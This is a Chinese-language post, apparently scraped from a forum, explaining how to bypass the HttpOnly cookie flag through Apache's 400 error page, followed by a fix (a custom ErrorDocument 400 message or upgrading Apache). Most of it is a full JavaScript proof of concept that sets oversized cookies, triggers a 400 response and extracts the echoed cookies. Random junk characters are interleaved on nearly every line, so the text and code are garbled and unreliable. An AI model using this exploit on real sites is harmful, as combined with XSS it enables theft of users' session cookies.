很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。0 J: M/ ^# G( e! A# r
& G! h- g2 Y) u/ J
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
% \6 y0 D# M$ ~* V 8 f5 O H4 l+ r8 o
8 Z& D( t+ u$ T$ }' u
// http://www.exploit-db.com/exploits/18442/2 W) g! u3 I4 N6 ^( I
function setCookies (good) {$ d7 x$ C" x1 y" `- u
// Construct string for cookie value
) L8 j9 L4 Y* x+ j+ ?+ zvar str = "";4 h8 z* Y; S- ~
for (var i=0; i< 819; i++) {
, H/ H! H- [4 M9 P, @: u) Jstr += "x";- q3 h( |# h# I
}& T1 w( i0 _: H
// Set cookies
C0 x7 O7 N0 x' K3 u! E9 ?for (i = 0; i < 10; i++) {
9 W8 G2 k% e& {- ?# r; z// Expire evil cookie. d) q6 d$ v: R) H
if (good) {
/ ?+ H1 M$ k2 S6 E% X' A2 e/ Bvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";; H6 _* f* l2 e; }
}
T0 e4 _7 d1 ^, b s) q% r// Set evil cookie" W3 E' t: C2 G9 b$ p, J: T
else {$ d, n* k$ E$ l6 O1 m
var cookie = "xss"+i+"="+str+";path=/";8 I. p) F. c+ h; [/ G
}- S4 a. j# K7 X6 W3 I
document.cookie = cookie;! L% P; j7 C& Q# H8 Q' G
}
! ]7 Z0 Q/ ~( M! a% B; W}
E* Y9 V3 D9 D: Ffunction makeRequest() {/ z' x$ b! H. w6 A. b) n
setCookies();
5 C$ h7 j4 x4 E$ z1 u& A3 T9 ufunction parseCookies () {
1 O( F: `: _) q: d. k3 Zvar cookie_dict = {};; G' [8 ` ?# B" ]8 c2 ]0 |
// Only react on 400 status2 @* f1 y# m D6 _+ n/ F! c
if (xhr.readyState === 4 && xhr.status === 400) {
. B! F6 w4 D6 \// Replace newlines and match <pre> content+ k6 Z: g. E& c$ q+ Z0 b1 B* _) s
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);& }# u }* v; }, u! D/ R2 a$ p
if (content.length) {; P' j; \2 X3 I4 ]: g2 a' k, \' Q, k
// Remove Cookie: prefix
/ b+ X( o" h2 ?1 G& rcontent = content[1].replace("Cookie: ", "");7 E7 V- B" a/ [) k
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);% v% q9 q- h8 p! [2 v s
// Add cookies to object$ B% I5 \9 t; e; J( w7 S/ [
for (var i=0; i<cookies.length; i++) {
5 h5 J3 p1 ]' ^! W( L9 ?7 h; Wvar s_c = cookies.split('=',2);
% ]1 ^, P& ?' L3 {cookie_dict[s_c[0]] = s_c[1];5 [! X" K {1 A& d6 i# o
}
' N, I' V/ U! C3 V b}
7 A- q7 m2 b' z& E `6 l; I# a// Unset malicious cookies
# A# I, b; j/ y* C( K( D. DsetCookies(true);
$ w% E5 t7 a% ]& g p- R8 Z/ Y; Malert(JSON.stringify(cookie_dict));$ D; @8 S* o4 A9 G/ O! k
}8 w! K& o& [ q6 g7 q% `. J% E( v5 y$ K
}' s s% r1 ?: o
// Make XHR request
. b: N. L7 @3 K1 I7 qvar xhr = new XMLHttpRequest();
9 p3 T, N# [( N% J3 mxhr.onreadystatechange = parseCookies;
% M3 a. Q% K; d7 Xxhr.open("GET", "/", true);
0 k3 o% S/ \7 lxhr.send(null);' j. E; X" g5 a7 G6 Y1 O
}
, n; u3 a. n, M3 h8 YmakeRequest();
3 z( @( @+ F% S# ~/ A9 N" ], A( p; g- P+ I0 d% w; N
你就能看见华丽丽的400错误包含着cookie信息。
% D5 y) B1 e! w! }. s* j! K2 r4 M7 s+ d5 y! u, ?' J# J
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
; S& O' _5 q f' X- W% P
! ~* j4 |, I" x. E修复方案:2 V, ]. }! z x5 P
. n2 m7 d( Z$ p* P3 u2 R2 J
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下6 s+ E( h5 c+ d7 q3 y4 M
3 m, c* l; Y7 ?" {% sIn the event of a problem or error, Apachecan be configured to do one of four things,6 c- c1 D* {5 T
) c8 z; T* F8 V, s+ D, m# I% `1. output asimple hardcoded error message输出一个简单生硬的错误代码信息8 v b" ?1 y( c- q3 n/ F+ K; N1 `
2. output acustomized message输出一段信息& r5 @+ q5 F6 ?. c
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
+ i; I/ e8 Z! m" X+ G4. redirect to an external URL to handle theproblem/error转向一个外部URL
+ h. g; ~3 _5 F; t1 u4 c" M; ~, E" e% m1 G. j
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
7 M# j3 p: I% c0 y+ r% E! X* Q2 Z5 L& y- E. L+ X0 I5 k2 Z' w& Z
Apache配置:" [. p0 ^' \7 g1 B. i! p Y
$ v* {4 |8 `4 Y2 b6 p" X0 U, dErrorDocument400 " security test"
. `6 E$ ]6 p- ]) Z/ A, D
2 W3 C9 {1 F" q5 l当然,升级apache到最新也可:)。: P) P f! ~( \* G$ p8 A+ Z
# e+ M: z: f! |
参考:http://httpd.apache.org/security/vulnerabilities_22.html
% R7 O4 \* \4 i- p0 o0 e. ?) @9 b, v. j
|